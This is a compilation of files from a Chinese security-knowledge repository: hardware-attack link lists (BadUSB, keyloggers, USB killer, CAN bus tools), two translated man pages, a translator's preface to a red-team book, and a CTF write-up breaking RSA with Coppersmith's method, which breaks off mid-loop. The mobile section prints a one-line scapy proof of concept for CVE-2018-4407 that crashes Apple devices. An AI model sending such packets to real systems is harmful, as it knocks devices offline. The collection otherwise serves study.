[BadUSB插谁谁怀孕](https://h4rdy.me/index.php/archives/58/) - [插入U盘自动攻击:BadUSB原理与实现](https://www.freebuf.com/articles/terminal/53886.html) **Digispark** > Digispark 是一个基于 ATTINY85 微控制器的 USB 开发板,体积小且价钱便宜,功能方面则没有 Arduino 般强大。代码与 Arduino 大同小异,更可贵的是使用 Arduino IDE 来开发。 - [HID-Digispark](./IOT/硬件安全/HID/HID-Digispark.md) **USB-Rubber-Ducky** > USB RUBBER DUCKY 简称 usb 橡皮鸭,是最早的按键注入工具,可根据对应要求定制硬件。 - [利用USB RUBBER DUCKY(USB 橡皮鸭)在目标机器上启动Empire或Meterpreter会话](http://www.freebuf.com/geek/141839.html) - [hak5darren/USB-Rubber-Ducky](https://github.com/hak5darren/USB-Rubber-Ducky) **Teensy** > Teensy 是拥有芯片且功能完整的单片机开发系统。可模拟键盘和鼠标。经开发的 teensy usb 设备可被电脑识别成键盘或鼠标,然后执行编程进去的恶意代码。价格亲民,开源性强可和kali配合使用。 - [关于HID攻击介绍](https://www.freebuf.com/column/181090.html) - [HID攻击之TEENSY实战](http://blog.topsec.com.cn/hid%e6%94%bb%e5%87%bb%e4%b9%8bteensy%e5%ae%9e%e6%88%98/) **USBkiller** - [USB killer](https://habr.com/post/251451/) - [This $3 DIY USB Device Will Kill Your Computer](https://hackernoon.com/this-3-diy-usb-device-will-kill-your-computer-33c4bdb1da40) **USBKeylogger** > 一个基于 ESP8266+CH9350 的键盘记录器,且带有 Wi-Fi 功能,可以存储记录到的键盘输入,并可以通过其发出的 Wi-Fi 网络,在手机端查看记录到的用户键入数据。 - [HID-USBKeylogger](./IOT/硬件安全/HID/HID-USBKeylogger.md) **USBHarpoon** > 通过USBHarpoon,安全专家用充电线取代了USB驱动器,由于充电线太过常见且运用频繁,所以用户可能会对其放松警惕,攻击也就更容易顺利实现。 - [HID-USBHarpoon](./IOT/硬件安全/HID/HID-USBHarpoon.md) --- ### 固件安全 - [固件安全](./IOT/固件安全/固件安全.md) --- ### IIOT #### 自动化 **相关案例** - [格物实验室:KUKA 机器人安全分析实战](http://blog.nsfocus.net/kuka-0803/) #### CAN **安全资源** - [jaredthecoder/awesome-vehicle-security](https://github.com/jaredthecoder/awesome-vehicle-security) - [newaetech/CANoodler](https://github.com/newaetech/CANoodler) **相关文章** - [如何使用Metasploit进行汽车安全性测试?](https://www.freebuf.com/articles/system/189293.html) - [物联网安全实战从零开始-CAN总线协议初探](https://mp.weixin.qq.com/s/kfCtodlW1giw723L694weA) - [Hacking All The Cars之CAN总线逆向](https://bacde.me/post/hacking-all-the-cars-can-bus-reverse/) **仿真工具** - [zombieCraig/ICSim](https://github.com/zombieCraig/ICSim) - ICSim 可以产生多个CAN信号,同时会产生许多背景噪声,让我们可以在没有汽车或不改造汽车的情况下即可练习CAN总线的逆向技术。ICSim 包括一个带有车速表、门锁指示灯、转向信号灯和控制面板的仪表板。模拟控制器允许用户与模拟汽车网络进行交互,应用加速、刹车、控制门锁和转向信号。 **通信工具** - [linux-can/can-utils](https://github.com/linux-can/can-utils) - Can-utils 是一组 Linux 实用程序,允许 Linux 与车载 CAN 网络进行通信。 ``` apt install can-utils ``` - [CANToolz/CANToolz](https://github.com/CANToolz/CANToolz) - Black-box CAN network analysis framework - [collin80/SavvyCAN](https://github.com/collin80/SavvyCAN) - QT based cross platform canbus tool - [dschanoeh/Kayak](https://github.com/dschanoeh/Kayak) - Kayak is a CAN bus analysis tool based on SocketCAN --- ## MobileSec > 移动安全这块内容我不是很懂,稍微收集一些,可能分类不准确 **相关工具** - [MobSF/Mobile-Security-Framework-MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) - 一个自动化的、一体化的移动应用程序(安卓/iOS/Windows)测试、恶意软件分析和安全评估框架,能够执行静态和动态分析。 ``` 注: 安装的时候不能走国内 pip 源,特别是清华源,会直接报错 ``` ### Android - [Android安全](./MobileSec/Android安全.md) ### IOS **CVE-2018-4407** - 相关文章 - [远程打挂所有的 apple 设备 — CVE-2018-4407 分析](https://mabin004.github.io/2018/11/01/%E8%BF%9C%E7%A8%8B%E6%89%93%E6%8C%82%E6%89%80%E6%9C%89%E7%9A%84apple%E8%AE%BE%E5%A4%87-CVE-2018-4407-%E5%88%86%E6%9E%90/) - POC | Payload | exp ```bash $scapy >>send(IP(dst="192.168.1.151",options=[IPOption("A"*8)])/TCP(dport=8888,options=[(19, "1"*33)])) ``` ### 小程序安全 - [小程序安全](./MobileSec/小程序安全.md)
sec-knowleage
.TH "INITLOCATION" "1" "2003-11-02" "Application" "PostgreSQL Server Applications" .SH NAME initlocation \- 创建一个从属的 PostgreSQL数据库存储区 .SH SYNOPSIS .sp \fBinitlocation\fR \fB\fIdirectory\fB\fR .SH "DESCRIPTION 描述" .PP \fBinitlocation\fR 创建一个新的PostgreSQL从属数据库存储区。参阅 CREATE DATABASE [\fBcreate_database\fR(7)] 里关于如何管理和使用从属存储区的讨论。 如果参数不包含一个斜杠而且也不是一个有效的路径, 它会被认为是一个环境变量而引用。参考下面的例子。 .PP 为使用这条命令,你必须以数据库超级用户登录(例如,使用 su) .SH "EXAMPLES 例子" .PP 用环境变量在一个可选位置创建一个数据库: .sp .nf $ \fBexport PGDATA2=/opt/postgres/data\fR .sp .fi 启动并停止postmaster这样它就能看到PGDATA2环境变量。 系统必须配置为 postmaster每次启动都能看到PGDATA2。 最后: .sp .nf $ \fBinitlocation PGDATA2\fR $ \fBcreatedb -D PGDATA2 testdb\fR .sp .fi .PP 或者,如果允许你使用绝对路径,你可以这样: .sp .nf $ \fBinitlocation /opt/postgres/data\fR $ \fBcreatedb -D /opt/postgres/data/testdb testdb\fR .sp .fi .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# 翻译规范 本规范用于指导Kali工具的翻译,请共同遵守,以便形成统一的翻译风格。 ## 参考工具 - 建议使用Chrome浏览器自带的谷歌翻译插件。 - 移动端有道翻译可以参考。 - 词典。 ## 规范 - 示例代码部分除有关参数信息外,采用原文。 - 在文章末尾添加译者及校对人,未校对可留空。如:译者:Mark,校对:Markson。 - 上传一篇内容后同时更新对应文件夹下的list.md文件,加入文章链接。 ## 其他 - 英语能力有限者可以对已经上传的译文做校对。
sec-knowleage
.\" Copyright (c) 1996 Eric S. Raymond .\" and Andries Brouwer .\" This is free documentation; you can redistribute it and/or .\" modify it under the terms of the GNU General Public License as .\" published by the Free Software Foundation; either version 2 of .\" the License, or (at your option) any later version. .\" .\" This is combined from many sources, including notes by aeb and .\" research by esr. Portions derive from a writeup by Ramon Czybora. .TH CHARSETS 7 "November 5th, 1996" "Linux" "Linux Programmer's Manual" .SH NAME charsets \- 程序员对字符集和国际化的观点 .SH 描述 Linux 是一个国际性的操作系统。它的各种各样实用程序和设 备驱动程序 (包括控制台驱动程序 ) 支持多种语言的字符集, 包括带有附加符号的拉丁字母表字符,重音符,连字(字母结合), 和全部非拉丁文字母表(包括希腊语,古代斯拉夫语,阿拉伯语, 和希伯来语。 ) .LP 这份手册以程序员的眼光去看待不同的字符集标准,以及它们是如何 在 Linux 中调和在一起的。讨论的标准包括 ASCII,ISO 8859,KOI8-R , Unicode,ISO 2022 和 ISO 4873 。 .SH ASCII ASCII (,美国国家信息交换(用)标准(代)码) 是最初的 7-bit字符集, 原先是为美式英语设计的。当前它被 ECMA-6 标准所描述。 .LP 在英国使用一种 ASCII的变体(这变体是:用英国磅值的符号代替美国的 crosshatch/octothorpe/hash 的磅值符号);当需要时, 美国的(符号)和英国的变体(符号)可以用"US ASCII"和"UK ASCII" 作为区别。 .LP 因为 Linux 是为美国设计的硬件写的, 它生来就支持 US ASCII 。 .SH ISO 8859 ISO 8859 是一系列 10 8-bit 字符集,它包含美国 ASCII 的低位 (7 -bit ), 128 ~159 范围内的不可见控制字符,和 96 个定宽图形(字符)在 160-255 里。 。LP 这些字符集中,最重要是 ISO 8859-1 ( Latin-1 )。 它生来就被 Linux 控制台驱动程序支持, X11R6 的支持得也很好,并且是 HTML 的基础字符集。 .LP Linux 下控制台也支持其他的 8859 字符集 ,通过用户模式实用程序( 例如 .BR setfont ( 8 )) 来修改键盘绑定和 EGA 图形表格, 以及进行控制台驱动程序里的字体表格中的\(lq user mapping(用户影射)\(rq。 .LP 下面是每个集合简短的描述: .TP 8859-1 (Latin-1) Latin-1 覆盖大多数的西欧语言,比如阿尔巴尼亚, 加泰罗尼亚语, 丹麦, 荷兰,英语,法罗群岛,芬兰,法语,德语,加利西亚,爱尔兰,冰岛, 意大利,挪威,葡萄牙,西班牙和瑞典。缺少荷兰的 ij连字(i与j合字) , 法国的 oe(o与e合字)和旧风格的',,' 而德语中``(这样的)引号是可以的。 .TP 8859-2 (Latin-2) Latin-2 支持大多数的拉丁文书写的斯拉夫语和中欧的语言: 克罗地亚 , 捷克语, 德语, 匈牙利, 波兰,罗马尼亚,斯洛伐克, 和斯洛文尼亚。 .TP 8859-3 (Latin-3) Latin-3 是世界语,加里西亚 , 马耳他人, 和土耳其语作者受欢迎的(语言)。 .TP 8859-4 (Latin-4) Latin-4 介绍了爱沙尼亚语,拉托维亚,和立陶宛的字符 。它是实质上过时的; 参见 8859-10 (Latin-6 ) 。 .TP 8859-5 古代斯拉夫语字母支持保加利亚语, 白俄罗斯语,马其顿语, 俄语, 塞尔维亚语和乌克兰语。 乌克兰人读带有下挑笔的`geh'为`heh',和(当)需要用带有上挑笔的 ghe 写正确的ghe.参见下面的(关于)KOI8-R 的讨论。 (译注:这些外国人书写习惯我们也不怎么需要理解吧,希望上面的解释不要 把人搞糊涂了) .TP 8859-6 支持阿拉伯语。 8859-6 字型表是分离字符格式的一种固定的字体,但是一个合适 的显示引擎应该联合这些来使用合适的词首,中间字母,和最后表格式。 .TP 8859-7 支持现代的希腊语。 .TP 8859-8 支持希伯来语。 .TP 8859-9 (Latin-5) 这是Latin-1 的一种变体,它用土耳其语的一些(字符)代替很少用的冰岛语。 .TP 8859-10 (Latin-6) Latin 6 增加末因纽特(译:对于last Inuit 我不知道是否是对的) (格陵兰语) 和 Sami ( 拉普兰语 ) ,这些是 Lattin 4 中缺少的,来覆盖整个北欧地区(的字符集)。 RFC 1345 列出了初步的和不同的“ latin 6 "。 Skolt Sami 仍然比这些需要更多的 重音符号。 .TP 8859-13 (Latin-7) .TP 8859-14 (Latin-8) .TP 8859-15 增加了欧洲符号和法国连字,它们是 Latin-1 里缺漏的。 .SH KOI8-R KOI8-R 是在俄国流行的一个非 ISO 字符集。下半部分是 US ASCII; 上部是比 ISO 8859-5 设计的更好的古斯拉夫字符集。 .LP 控制台为了支持 KOI8-R 字符集,在 Linux 下, 可以利用用户模式实用程序修改键盘绑定和 EGA 图形表格, 以及在控制台的驱动程序中使用字体表“user mapping(用户映射)”。 .SH UNICODE(统[单]一代码,宽[双]字节字符集) Unicode( ISO 10646 ) 是一个标准,它的目标是明白地表现 在每种人类语言中的每种已知字符。Unicode 的编码是 32 位的 ( 旧些的版本使用了 16 位 ) 。在 Unicode 的一些信息可以在<http://www.unicode.com>获得。 .LP Linux 使用8位的 Unicode 转移格式 (UTF-8 ) 表示 Unicode 。 UTF-8 是可变长的 Unicode 编码。使用1个字节给 7 bit 编码,使用2个字节给 11 bit 编码, 使用3个字节给 16 bit 编码,使用4个字节给 21 bit 编码,使用5个字节给 26 bit 编码,使用6个字节给 31 bit 编码 .LP 让 0,1 , x 代表零,一,或任意的位。字节0xxxxxxx 代表Unicode 00000000 0xxxxxxx, 这个符号和 ASCII 0xxxxxxx 编码的符号是一样。 这样, ASCII 没有改为 UTF-8,并且只用 ASCII 的人不会注意到任何变化: 不在代码,并且不在文件大小。 .LP 字节 110xxxxx 是一个2 字节代码的开始, 110xxxxx 10yyyyyy 组装成 00000xxx xxyyyyyy 。 字节 1110xxxx 是一个 3 字节代码的开始, 1110xxxx 10yyyyyy 10zzzzzz 被组装成 xxxxyyyy yyzzzzzz。 (如果 UTF-8 使用 31-bit ISO 10646 编码,那么这个级数就会延伸 到 6 字节编码) .LP 对于 ISO-8859-1 的用户而言,这意味着带高位的字符编码成两个字节。 这会令普通的文本文件增大1到2个百分点。不过没有变换问题, 因为 Unicode ISO-8859-1 符号的值等于他们的 ISO-8859-1 值 (用 8 个前导零做前缀) 。对于日语的用户,这意味着原来常用的 16 位编码将 占 3 个字节,并且还要求有扩展的映射表。许多日本人因此比较喜欢 ISO 2022 。 .LP 注意 UTF-8 是自我同步的: 10xxxxxx 是一条尾巴, 任何其它 的字节是编码的头。ASCII 字节出现在 UTF-8 流中唯一的可能是 作为自己出现。特别是, 不会有 NULs 或 " /'s 嵌入在那些比较大的编码中。 .LP 因为编码中的 ASCII,特别是, NUL 和'/', 没有变化, 所以内核不会注意到 在使用 UTF-8。它根本不在乎它正在处理的那字节代表什么东西。 .LP Unicode 数据流的呈现通常是通过" subfont "表来操作,这个表是 Unicode 的一个子集到字符表格的映射。内核内部使用 Unicode 描述装载入显示内存的 subfont。这意味着在 UTF-8 中的一个模式 能使用 512 个不同的符号。这对于日语,汉语和朝鲜语来说是不够的, 但是它满足了大多数其它用途。 .SH ISO 2022 AND ISO 4873 ISO 2022 和 4873 标准描述了一个基于 VT100 实现的字体控制模型. Linux 内核和 xterm (1) ( 部分 ) 支持这个模型。 它在日本和韩国很流行。 .LP 它有 4 个图形的字符集,称为 G0 , G1 , G2 和 G3 ,并且 其中之一是当前的高位为0 的编码的字符集(最初 G0 ),而他们之 一是当前的高位为1的编码的字符集(最初 G1 )。每种图形的字符集有 94 或 96 个字符 ,并且是实际上是一个 7-bit字符集。 它使用 040-0177 ( 041-0176 ) 或 0240-0377 ( 0241-0376 )编码 中的一个。G0 大小总是为 94,并且使用 041-0176 之间的编码。 .LP 字符之间切换用转换(shift functions)功能 ^N (SO 或 LS1), ^O (SI 或 LS0), ESC n (LS2), ESC o (LS3), ESC N (SS2), ESC O (SS3), ESC ~ (LS1R), ESC } (LS2R), ESC | (LS3R). LS\fIn\fP 把字符集G\fIn\fP标记为当前字符集,用于高位为0的编码。 LS\fIn\fPR 把字符集 G\fIn\fP标记为当前字符集,用于高位为1的编码。 SS\fIn\fP 把字符集G\fIn\fP (\fIn\fP=2 or 3) 标记为当前字符集, 只用于下一个字符( 不管它的高位的值是什么) .LP 94 字符的集合用做 G\fIn\fP 字符集是用一个逃逸序列 ESC ( xx (用于 G0),ESC ) xx (用于 G1), ESC * xx (用于 G2),ESC + xx (用于 G3),等代表的.这里的 xx 是一个符号 或者是在 ISO 2375 国际注册编码字符集中的一对符号。 例如,ESC ( @ 选用 ISO 646 字符集作为GO, ESC ( A 选用 UK 标准字符集(用磅代替数字记号), ESC ( B 选择 ASCII ( 用美元代替流通货币), ESC ( M 为非洲语言选择一个字符集, ESC ( ! A 选择古巴字符集, 等等. 等等. .LP 94 字符的集合用做 G\fIn\fP 字符集是用一个逃逸序列 ESC - xx (对于 G1), ESC . xx (对于 G2) 或 ESC / xx (对于 G3)等表示. 例如, ESC - G 选择希伯莱字母表作为 G1. .LP 多字节的字符集用做 G\fIn\fP 字符集是用一个逃逸序列 ESC $ xx 或者 ESC $ ( xx (对于 G0), ESC $ ) xx (对于 G1),ESC $ * xx (对于 G2),ESC $ + xx (对于 G3)等来表示. 例如, ESC $ ( C 为 G0选择韩国字符集. 日本字符集合由 ESC $ B选择 更多临近的版本由ESC & @ ESC $ B选择. .LP ISO 4873 规定了一个范围比较窄的使用字符集,它的 G0是固定的 (总是 ASCII), 所以 G1, G2 和 G3只能被调用于高次序位编码集。 尤其是,不再使用 ^N 和 ^O,ESC ( xx 仅用于 xx=B, 和 ESC ) xx, ESC * xx, ESC + xx 分别等价于 ESC - xx, ESC . xx, ESC / xx. .SH 参考 .BR console (4), .BR console_ioctl (4), .BR console_codes (4), .BR ascii (7), .BR iso_8859_1 (7), .BR unicode (7), .BR utf-8 (7) .br .SH "[中文版维护人]" .B Scorpio <rawk@chinese.com> .SH "[中文版最新更新]" .B 2000/10/23 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# [译] 渗透测试实战第三版(红队版) - 译者:[Snowming](https://github.com/Snowming04)(雪茗) 时间:北京时间 2019-03-17 - 本书英文名:The Hacker Playbook 3 ![](https://github.com/Snowming04/The-Hacker-Playbook-3-Translation/blob/master/cover.jpg) ## 阅读及 PDF 下载 - [在 Github 上阅读本书](https://github.com/Snowming04/The-Hacker-Playbook-3-Translation/blob/master/%E7%9B%AE%E5%BD%95.md) - [PDF 下载](https://github.com/Snowming04/The-Hacker-Playbook-3-Translation/tree/master/PDF) ## 免责声明 [@Snowming](https://github.com/Snowming04) 纯粹出于学习目的与个人兴趣翻译本书。本人承诺绝不用此译文谋取任何形式的经济利益。也坚决拒绝其他任何人以此牟利。本译文只供学习研究参考之用,不得用于商业用途。[@Snowming](https://github.com/Snowming04) 保留对此版本译文的署名权及其它相关权利。若有人使用本译文进行侵权行为或者违反知识产权保护法的任何行为,与本译者无关。译者坚决反对此类行为。 基于开源精神,译者欢迎一切基于学习研究目的的转发,但**任何转载必须注明出处。** ## 译者的话 这本书是 `The Hacker Playbook` 的第三版,通常我们也说它是红队版。因为本书是以红蓝对抗中红队的视角来撰写的。 首先要说一声抱歉,因为我的翻译可能并不是特别好。首先,整本书是在三周的时间仅由我一个人翻译完的,因为本人临近硕士毕业,不可能花太多时间来作这件事情。而且这本书的专业程度比较高,并不是一本科普读物。而译者的专业水平有限,所以可能对本书的理解上也受限于我的专业水平。但是,译者尽力以最大的诚意,来完成此书的翻译。我寻求的效果是:完成本书作者与中文读者之间的连接。基于此目标,我的**翻译原则**有以下几条: 1. 对每一个句子,我并非在词义的层面上简单的译为中文,而是按照自己的理解翻译的。我有一种观点:如果那样的话,与谷歌翻译有什么区别呢?所以我会在词义的基础上,去理解作者的每一句话,查阅相关资料,结合词义、句意、专业知识背景来翻译。所以读者可以看到,我在一些地方贴出了一些补充资料。我希望我的翻译既保留作者原意,也更符合中文。其中若有不明之处,我跟几位比我从业经验丰富的安全行业朋友进行了讨论,毕竟我资历尚浅,若是因为自己的肤浅理解而误导读者,那可真是我的过错了。对每一个句子,只有我自己让我是可以读懂的,我才会贴上来。 2. 因为中文和英文的确存在差异,并非每一句英文的意思都可以用中文完全表达出同样的意思,不可避免的存在些个翻译出来比较奇怪的词语。对于这种情况,我会去互联网上基于关键词进行搜索,参考诸如微软中文文档之类的翻译,最好是遵循他们的翻译惯例。因为毋庸置疑的,专业的微软文档工程师肯定比我的水平高。 3. 译文中所有的链接我自己都点过一遍,虽然我拿到的英文 PDF 有些链接自己都无法访问,但是我尽力还原作者原意,通过网络搜索找到正确链接贴上。对于其他的过期链接我也会更附上说明。这里必须说明,事实上,不断的有一些链接失效,仅仅我翻译的这三周,到我今天定稿,就很多失效了。我也只能尽量贴上最新的链接。 4. 一些专业术语保留英文常用习惯,因为毕竟本书不是一本科普书。我身边很多安全从业者,不会把 payload 说成攻击载荷。所以本书中除第一次遇到 payload 会附注攻击载荷,后面一律使用payload。类似的专业术语还包括 beacon、POC、AD 等。 5. 一些工具里面的选项保留英文。因为若翻译为中文,可能导致读者无法找到该选项,操作不便,反而弄巧成拙。 6. 关于【译者注】:我思故我惑。书里也有很多我读不懂的、不太理解的知识盲区。读的时候我会查找相关资料,但是我就会想,为什么不把我找到的觉得不错的资料分享给读者呢?这就是我的翻译中那些【译者注】的由来。因为我把这个翻译当作书+笔记本来用了,所以有很多连接那是因为我自己也要看。如果你不看,请忽略。并且,既然这是中文翻译,所以我分享的参考资料以中文资料为主。英文链接是我觉得特别好的文章才会附上。 7. 我拿到的英文 PDF 版本,上面的一些代码存在问题。比如这一句书中的原代码 `python SharpShooter.py —interactive`。但是 `—` 其实应该是 `--`。本书中有多个这种错误。所以根据译者经验:`—` 如果你跑不通的话,读者可以自行替换为 `-` 或 `--` 来试试,或许就可以跑通了。实在再跑不通的话,可以在网上进行搜索。 8. PDF 版本中,如果用 `[]` 括起来的链接无法访问,请观察 URL,根据情况删除 `]`,一般就可以访问了。 ### 阅读建议 1. 先大概理解每一章讲的是什么,比如: - 第一章 环境搭建 - 第二章 信息收集 - 第三章 web漏洞利用 - 第四章 内网横向移动和权限提升 - ......<br> 在心里有个这种朴素的目录,能帮助你读完本书后对红队工作流程心中有数。 2. 根据用途对本书中提到的所有你觉得好的工具建一个速查清单。我觉得你可以参考这篇来建:[适用于渗透测试不同阶段的工具收集整理](https://www.cnblogs.com/zengming/p/10309015.html) 3. 本书毕竟是一本外语书,有的工具不适合国内环境。大家自行取舍。 ### 对于本书的一些想法 技术的发展日新月异,所以本书中的一些工具可能有些过时了。我们对本书中的内容无需盲从,可以结合一些自己的思考。 比如,第七章的内容可能会有些跟不上时代。但其实第七章中重新编译 msf 其实就是为了: 1. 尽可能消除 msf 的流量指纹特征; 2. 强化 msf 的 payload 的一些静态免杀能力; 3. 自定义添加一些功能(和 C2 交互方面,动态执行方面,流量优化方面)。 如果想清楚这个,那么看懂并理解它的操作会简单很多。现在针对攻击框架的二次开发基本都是在这么做,思路一致,只是实现方式各有不同,但万变不离其宗,我们依然可以从书中的二次开发思路中获得一些启示。 而且本书作者的一个观点,我认为非常有趣。他说:红队的技术是基于 OSI 七层的不断轮回。作者甚至额外加了一个第八层——社会工程学攻击。如果你看完本书,就会发现,的确,工具有基于物理层的、传输层的......一直到社会工程学攻击。作者认为,当一切防御措施都做得接近完美的时候,我们仍然可以利用第八层,社会工程学攻击去进行渗透。而随着新的技术的发展、不断地趋于大和复杂,一些曾经出现过的旧的漏洞又会出现。传统的攻击方法会迸发出新的生机。 这大概就是我们阅读此类书的目的吧。与其授人以鱼不如授人以渔,一些工具病毒出来不久,就会被安全厂商逆向、签名。但是如果我们习得了屠龙之术,那么就能以不变应对万变。我从本书中作者的循循善诱中学到了很多,作者不仅逐步深入,还会跟我们讲为什么编程能力对安全人员很重要、为什么我们需要理解底层......我相信如果你认真读了,你会跟我一样收获颇多。 ### 关于译文中的错误处理 不可避免的,本书的翻译仍然存在很多问题,大家可以积极提 issue 给我,包括标点符号全角半角的问题也可以提给我。在此先行感谢。 另外错误的改正情况也会在本仓库的 [UPDATE 页面](https://github.com/Snowming04/The-Hacker-Playbook-3-Translation/blob/master/UPDATE.md)进行实时更新。 ## 特别感谢 在这本书的翻译过程中,我也收获了友谊。为了一个词我们可以讨论很久,这样的同行,让我深深的觉得我没有选错方向。感谢以下的小伙伴帮我提供校对支持: * 哈姆太郎 * 匿名jack * [Victor Zhu](https://zhuzhuuu.com/) * [鶇](http://wp.blkstone.me) * [leitbogioro](https://github.com/leitbogioro/) 也感谢以下的小伙伴愿意跟我讨论书上的问题: * [鶇](http://wp.blkstone.me) * 哈姆太郎 * 匿名jack * [googu0](https://github.com/googu0) 在此对你们提供的帮助表示真诚的谢意。 ## 协议 [CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
sec-knowleage
# Old School (crypto, 14 solved, 740p) In the task we get 3 parts [part1](part1.txt), [part2](part2.txt), [part3](part3.txt). It seems each one is RSA public key with encrypted data. ## Part3 We're writing this in reverse order, because this is how we solved it. The last part was the simplest, because it was clear how primes were generated: ```python tmp.nbits() 1024 p = next_prime(1337*tmp + randint(2, 2**512)) q = next_prime(7331*tmp + randint(2, 2**512)) n = p * q ``` So we can see that high bits of both primes are the same, the difference is potentially at low 512 bits. This means that if we calculate `isqrt(N)` then the high bits should correspond to high bits of `p` and `q`. We can approximate `p` or `q` use Coppersmith method to calculate the real value. The approximation of `q` we can get simply from `isqrt` of N, divided by the multiplier of `p` and then we can subtract `2**512` to get close to initial `tmp` value: ```python tmp = isqrt((N)/(1337*7331)) q_approx = 7331*tmp - 2**512 ``` Now we can create a polynomial `P(x) = x - q_approx mod N` and the root `x0` of this polynomial would be a value such that `q_approx - x0 mod N == 0` which means `q_approx - x0` must be a factor of `N` (we omit the obvious degenerated case where `q_approx - x0 == 0`). Since `N` has only two factors `p` and `q`, then it has to be one of them. Using Coppersmith method we can find such roots, as long as they are relatively small. In our case we know that `q_approx` can't be very far from the real `q` and thus the root `x0` has to be small. ```python N = 139713689065649193238602077859960857468098993135221000039102730899547298927683962573562384690733560045229965690142223836971463635696618075169874035306125645096696682021038045841133380609849851790395591047968701652975799368468556274243238594974251982826875184190103880810901174411829635180158201629467635591810569775155092318675639049754541256014635438864801255760305914815607547032463796789980267388517787537827413511219215383011915710116907720461035152786018808394261912036183662986050428253151429051345333273081222126466016921456969903177087878715836995228953335073770833282613911892360743789453583070756075529298371748549 c = 124685720137286087974637083454831701339966293804422893085596270389405855619404156520743766929373287868106538299589424038783043194334560243812640561592652200368376115611247891237635032352102375266455486004707355213472127905734695141272493858057378951812357840535403155691798886254882859468912066573675006464518263526982997249121158520551576258448776707985773899806354192979203812074933169737618274419084890323034162520302687449736028470908248699174457011959674081295825304524826030316907668167104468182549336009917924574890737992068942209504351840515837871695539713067102504739121645006079782283023187240752494388988784497294 hidden = 512 tmp = isqrt((N)/(1337*7331)) q_approx = 7331*tmp - 2**512 F.<x> = PolynomialRing(Zmod(N), implementation='NTL') f = x - q_approx roots = f.small_roots(X=2**hidden, beta=0.5) for delta in roots: print('delta', delta) print('q_approx - delta', q_approx-delta) q = q_approx-delta p = int(N)/int(q) d = inverse_mod(65537, (p-1)*(q-1)) print("d", d) decrypted = hex(int(pow(c,d,N))) print('flag =', decrypted[2:-1].decode("hex")) ``` From this we get private key and can decrypt the flag: `sch0Olllllllllllllllllllll!!!!}` ## Part2 In this part we didn't know exactly how the modulus was generated but if we look at hex representation we can see: ``` 0x100000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a9d11f4b6f5b4331ac1d207a3c618adaea44ed000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000176a7f4d50f6d91d860184d79edff9b7eca7872ef07383cf2852f1e780f32fc1 ``` This means few things: 1. There are most likely 2 numbers multiplied 2. Both numbers generated from some common root with mostly 0 bits 3. There is `0x1000001` multiplier involved, but we don't know exactly which number was multiplied by which part. 4. The random difference between numbers on low bits has to be small, about 128 bits. We can again use Coppersmith method here, but since we don't know how the multiplier was split, we simply test all possiblities. ```python N = 32317007997554674385349615891817642773386605194812774888699399085196191794571384182422952167619837501795723538528931327159587983358628859504590723914892119478718126207089276060309706774425448653115310296039404328801754660372655218697443296169226536829110407154367147778475282279643613957212146771061477882859160052927335260673353787015976402719590523208336436450340211718238793469564080171762430651352930734689263596836122378167570929701725793689221407150157994038959493338968844604240687047300165564661354163479888199791831857521168174860532936751952480913605385678113510666108924260168617210436143153585499118186433 e = 65537 c = 3276317031877048034921689870842067102082984132116094274739382394942015587590724787158982350802646840240494972561882263073240227808400607161162982258260014527796718342988907758893432031368754237249396935435825620816173572853468606403492532489569016730369554744690415453811865812653908391295808987211722639212793730193965857595902086835233937795612266373947212176592539984179545181633416734531184100728289921617009799700655919616113513377725551467929505260502666912513988565860061157100733206213776142272254528206526835704772005607585391210115528195828817631620260680401489038612476650344781706860508085522520661975350 hidden = 256 tmp = isqrt((N)/(0x1000001)) for mult in [1, 97, 65281, 257, 172961, 24929, 16777217, 673]: q_approx = mult * tmp + 2**128 F.<x> = PolynomialRing(Zmod(N), implementation='NTL') f = x - q_approx roots = f.small_roots(X=2**hidden, beta=0.5) for delta in roots: q = q_approx-delta if is_prime(q): print(q) p = gcd(N,q) q = int(N)/int(p) print(p) phi = (p-1)*(q-1) d = inverse_mod(int(e), int(phi)) print('d', d) decrypted = hex(int(pow(c,d,N))) print('flag =', decrypted[2:-1].decode("hex")) ``` From this we get `_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa_` ## Part1 This part was for us the hardest, because nothing was known. The modulus looked `normal` and there was no indication what could we do. Later we learned that primes were close and it could be factored using fermat, which we actually even have in crypto-commons: ```python from crypto_commons.generic import fermat_factors n1 = 12263815858436391339801252716055343215721551207190585812808883921492616938019767754888047221243921529199781329682187336097470283133260860905444173937906698593993435816362355791049334301256672146334457160396157422171213155186704409015520723701624704179794619860512757194475928285433621469983215042163268337482613981138412642113164161985610041212644438310461087934752877418645890869616237437302541973412868157911349542527624597832254480191497600938121405413426358837072839977429474448232347107365820912432960433009928432513624193587173708951345864949412064817411473475077328080824358689398099979260395549956349458200199 p1, q1 = fermat_factors(n1) print(p1,q1) ``` But we didn't realise that, and primefac or RsaTool didn't find the factorization. A desperate move from our side was to brute-force the flag. The idea was that part2 and part3 were not very imaginative: `_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa_sch0Olllllllllllllllllllll!!!!}` and the task name was `Old School`, so we guessed that probably the first part of the flag will be some kind of `ooollllddd`. So: ```python n = 12263815858436391339801252716055343215721551207190585812808883921492616938019767754888047221243921529199781329682187336097470283133260860905444173937906698593993435816362355791049334301256672146334457160396157422171213155186704409015520723701624704179794619860512757194475928285433621469983215042163268337482613981138412642113164161985610041212644438310461087934752877418645890869616237437302541973412868157911349542527624597832254480191497600938121405413426358837072839977429474448232347107365820912432960433009928432513624193587173708951345864949412064817411473475077328080824358689398099979260395549956349458200199 c = 10768566524581730417282966534533772232170128646105592645274840624344800039953305762328123247486367933169410426551021676301441508080687130308882531249672782247453418751384028303096785698132140306753136583313099836328879191020815311025909775009768461235238724055399564994913948731120265357427622567179898229336239135361607806956357971819975387160453721508112358768552880424521729959498368682405606641964356553284372394601190105374421489502575623037672340535664494377154727704978673190317341737416683547852588813171964475428949505648909852833637140722157843587170747890226852432960545241872169453977768278393240010335066 msg = 'MeePwnCTF{' for i in range(0, 32): for ii in range(0, 32): for j in range(0, 32): 